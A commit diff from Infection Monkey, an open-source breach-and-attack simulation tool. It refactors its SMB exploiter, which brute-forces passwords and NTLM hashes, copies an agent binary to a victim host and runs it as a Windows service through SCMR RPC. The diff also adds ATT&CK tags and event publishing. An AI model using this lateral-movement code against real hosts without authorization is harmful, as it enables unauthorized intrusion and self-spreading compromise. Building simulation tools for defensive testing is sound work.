Compare commits

...

13 Commits

Author SHA1 Message Date
Kekoa Kaaikala d9f8b2a3d0 Agent: Use T1569 tag for propagation events 2022-10-07 13:30:11 +00:00
Kekoa Kaaikala 7797890ff4 Agent: Add attach technique T1569 2022-10-07 13:29:00 +00:00
Kekoa Kaaikala 104e0abda9 Agent: Fix mypy issues in smb_tools.py 2022-10-07 13:26:49 +00:00
Kekoa Kaaikala bc0adb2193 Agent: Rename message to error_message 2022-10-07 13:14:03 +00:00
Shreya Malviya ce6ca64b4d
Agent: Define exploiter and propagation tags correctly 2022-10-07 12:00:04 +05:30
Kekoa Kaaikala f917654f41 Agent: Report successful propagation if agent ran 2022-10-06 16:27:57 +00:00
Kekoa Kaaikala 7b13817b66 Agent: Publish propagation events 2022-10-06 16:25:18 +00:00
Kekoa Kaaikala c631755397 Agent: Publish exploitation events 2022-10-06 16:15:35 +00:00
Kekoa Kaaikala 629c2433cd Agent: Override tag properties 2022-10-06 16:14:50 +00:00
Kekoa Kaaikala db09fe0cae Agent: Extract method _run_agent_on_victim 2022-10-06 14:49:36 +00:00
Kekoa Kaaikala c3ba2cf6b2 Agent: Extract method _get_rpc_connection 2022-10-06 14:45:43 +00:00
Kekoa Kaaikala 2d130a0442 Agent: Extract method _get_agent_command 2022-10-06 14:15:52 +00:00
Kekoa Kaaikala 156300e8ed Agent: Extract method _exploit 2022-10-06 14:14:38 +00:00
4 changed files with 115 additions and 47 deletions

View File

@ -9,5 +9,6 @@ from .attack import (
T1203_ATTACK_TECHNIQUE_TAG, T1203_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG,
T1222_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG,
T1569_ATTACK_TECHNIQUE_TAG,
T1570_ATTACK_TECHNIQUE_TAG, T1570_ATTACK_TECHNIQUE_TAG,
) )

View File

@ -8,4 +8,5 @@ T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203" T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203"
T1210_ATTACK_TECHNIQUE_TAG = "attack-t1210" T1210_ATTACK_TECHNIQUE_TAG = "attack-t1210"
T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222" T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222"
T1569_ATTACK_TECHNIQUE_TAG = "attack-t1569"
T1570_ATTACK_TECHNIQUE_TAG = "attack-t1570" T1570_ATTACK_TECHNIQUE_TAG = "attack-t1570"

View File

@ -1,10 +1,22 @@
from dataclasses import dataclass
from logging import getLogger from logging import getLogger
from pathlib import PurePath
from time import time
from typing import Optional, Tuple
from impacket.dcerpc.v5 import scmr, transport from impacket.dcerpc.v5 import scmr, transport
from impacket.dcerpc.v5.rpcrt import DCERPC_v5
from impacket.dcerpc.v5.scmr import DCERPCSessionError from impacket.dcerpc.v5.scmr import DCERPCSessionError
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.credentials import get_plaintext from common.credentials import get_plaintext
from common.tags import (
T1021_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
T1569_ATTACK_TECHNIQUE_TAG,
)
from common.utils.attack_utils import ScanStatus, UsageEnum from common.utils.attack_utils import ScanStatus, UsageEnum
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.helpers import get_agent_dst_path
@ -19,6 +31,15 @@ from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.threading import interruptible_iter from infection_monkey.utils.threading import interruptible_iter
logger = getLogger(__name__) logger = getLogger(__name__)
SMBEXEC_EXPLOITER_TAG = "smbexec-exploiter"
@dataclass
class SelectedCredentials:
user: str
password: str
lm_hash: str
ntlm_hash: str
class SMBExploiter(HostExploiter): class SMBExploiter(HostExploiter):
@ -29,15 +50,74 @@ class SMBExploiter(HostExploiter):
} }
USE_KERBEROS = False USE_KERBEROS = False
SMB_SERVICE_NAME = "InfectionMonkey" SMB_SERVICE_NAME = "InfectionMonkey"
_EXPLOITER_TAGS = (
SMBEXEC_EXPLOITER_TAG,
T1021_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
)
_PROPAGATION_TAGS = (
SMBEXEC_EXPLOITER_TAG,
T1021_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
T1569_ATTACK_TECHNIQUE_TAG,
)
def _exploit_host(self): def _exploit_host(self):
agent_binary = self.agent_binary_repository.get_agent_binary(self.host.os["type"])
dest_path = get_agent_dst_path(self.host)
creds = generate_brute_force_combinations(self.options["credentials"])
dest_path = get_agent_dst_path(self.host)
remote_full_path, creds, timestamp = self._exploit(dest_path)
if not self.exploit_result.exploitation_success:
if self._is_interrupted():
self._set_interrupted()
else:
logger.debug("Exploiter SmbExec is giving up...")
self.exploit_result.error_message = "Failed to authenticate to the victim over SMB"
return self.exploit_result
# execute the remote dropper in case the path isn't final
cmdline = self._get_agent_command(remote_full_path, dest_path)
scmr_rpc = self._get_rpc_connection(creds)
if not scmr_rpc:
msg = "Failed to establish an RPC connection over SMB"
logger.warning(msg)
self.exploit_result.error_message = msg
return self.exploit_result
if not self._run_agent_on_victim(scmr_rpc, cmdline, timestamp):
return self.exploit_result
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path,
self.host,
cmdline,
)
self.exploit_result.propagation_success = True
self.add_vuln_port(
"%s or %s"
% (
SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
)
)
return self.exploit_result
def _exploit(self, dest_path: PurePath) -> Tuple[Optional[str], SelectedCredentials, float]:
agent_binary = self.agent_binary_repository.get_agent_binary(self.host.os["type"])
creds = generate_brute_force_combinations(self.options["credentials"])
for user, password, lm_hash, ntlm_hash in interruptible_iter(creds, self.interrupt): for user, password, lm_hash, ntlm_hash in interruptible_iter(creds, self.interrupt):
creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash])
timestamp = time()
try: try:
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file( remote_full_path = SmbTools.copy_file(
@ -64,29 +144,27 @@ class SMBExploiter(HostExploiter):
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
) )
) )
self._publish_exploitation_event(timestamp, True)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
break break
else: else:
# failed exploiting with this user/pass # failed exploiting with this user/pass
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
error_message = f"Failed to login using SMB with {creds_for_log}"
self._publish_exploitation_event(timestamp, False, error_message=error_message)
except Exception as exc: except Exception as exc:
logger.error( error_message = (
f"Error while trying to copy file using SMB to {self.host.ip_addr} with " f"Error while trying to copy file using SMB to {self.host.ip_addr} with "
f"{creds_for_log}:{exc}" f"{creds_for_log}:{exc}"
) )
logger.error(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
continue continue
if not self.exploit_result.exploitation_success: return remote_full_path, SelectedCredentials(user, password, lm_hash, ntlm_hash), timestamp
if self._is_interrupted():
self._set_interrupted()
else:
logger.debug("Exploiter SmbExec is giving up...")
self.exploit_result.error_message = "Failed to authenticate to the victim over SMB"
return self.exploit_result def _get_agent_command(self, remote_full_path: str, dest_path: PurePath) -> str:
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != str(dest_path).lower(): if remote_full_path.lower() != str(dest_path).lower():
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % { cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
"dropper_path": remote_full_path "dropper_path": remote_full_path
@ -100,7 +178,9 @@ class SMBExploiter(HostExploiter):
"monkey_path": remote_full_path "monkey_path": remote_full_path
} + build_monkey_commandline(self.servers, self.current_depth + 1) } + build_monkey_commandline(self.servers, self.current_depth + 1)
smb_conn = None return cmdline
def _get_rpc_connection(self, creds: SelectedCredentials) -> Optional[DCERPC_v5]:
for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values(): for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
rpctransport.set_connect_timeout(LONG_REQUEST_TIMEOUT) rpctransport.set_connect_timeout(LONG_REQUEST_TIMEOUT)
@ -109,11 +189,11 @@ class SMBExploiter(HostExploiter):
if hasattr(rpctransport, "set_credentials"): if hasattr(rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences. # This method exists only for selected protocol sequences.
rpctransport.set_credentials( rpctransport.set_credentials(
user, creds.user,
get_plaintext(password), get_plaintext(creds.password),
"", "",
get_plaintext(lm_hash), get_plaintext(creds.lm_hash),
get_plaintext(ntlm_hash), get_plaintext(creds.ntlm_hash),
None, None,
) )
rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS) rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS)
@ -132,21 +212,18 @@ class SMBExploiter(HostExploiter):
logger.debug(f"Connected to SCM on exploited machine {self.host}, port {port}") logger.debug(f"Connected to SCM on exploited machine {self.host}, port {port}")
smb_conn = rpctransport.get_smb_connection() smb_conn = rpctransport.get_smb_connection()
smb_conn.setTimeout(LONG_REQUEST_TIMEOUT) smb_conn.setTimeout(LONG_REQUEST_TIMEOUT)
break if smb_conn is None:
return None
if not smb_conn: return scmr_rpc
msg = "Failed to establish an RPC connection over SMB"
logger.warning(msg) return None
self.exploit_result.error_message = msg
return self.exploit_result
def _run_agent_on_victim(self, scmr_rpc: DCERPC_v5, cmdline: str, start_time: float) -> bool:
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR) scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(scmr_rpc) resp = scmr.hROpenSCManagerW(scmr_rpc)
sc_handle = resp["lpScHandle"] sc_handle = resp["lpScHandle"]
# start the monkey using the SCM
try: try:
resp = scmr.hRCreateServiceW( resp = scmr.hRCreateServiceW(
scmr_rpc, scmr_rpc,
@ -161,32 +238,21 @@ class SMBExploiter(HostExploiter):
resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME) resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME)
else: else:
self.exploit_result.error_message = str(err) self.exploit_result.error_message = str(err)
return self.exploit_result self._publish_propagation_event(start_time, False, error_message=str(err))
return False
service = resp["lpServiceHandle"] service = resp["lpServiceHandle"]
try: try:
scmr.hRStartServiceW(scmr_rpc, service) scmr.hRStartServiceW(scmr_rpc, service)
self._publish_propagation_event(start_time, True)
status = ScanStatus.USED status = ScanStatus.USED
except Exception: except Exception:
error_message = "Failed to start the service"
self._publish_propagation_event(start_time, False, error_message=error_message)
status = ScanStatus.SCANNED status = ScanStatus.SCANNED
pass
self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB)) self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB))
scmr.hRDeleteService(scmr_rpc, service) scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service)
logger.info( return True
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path,
self.host,
cmdline,
)
self.exploit_result.propagation_success = True
self.add_vuln_port(
"%s or %s"
% (
SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
)
)
return self.exploit_result

View File

@ -3,7 +3,7 @@ import ntpath
import pprint import pprint
from io import BytesIO from io import BytesIO
from pathlib import PurePath from pathlib import PurePath
from typing import Optional from typing import Any, Dict, Optional, Tuple
from impacket.dcerpc.v5 import srvs, transport from impacket.dcerpc.v5 import srvs, transport
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
@ -79,8 +79,8 @@ class SmbTools(object):
resp = resp["InfoStruct"]["ShareInfo"]["Level2"]["Buffer"] resp = resp["InfoStruct"]["ShareInfo"]["Level2"]["Buffer"]
high_priority_shares = () high_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = ()
low_priority_shares = () low_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = ()
file_name = dst_path.name file_name = dst_path.name
for i in range(len(resp)): for i in range(len(resp)):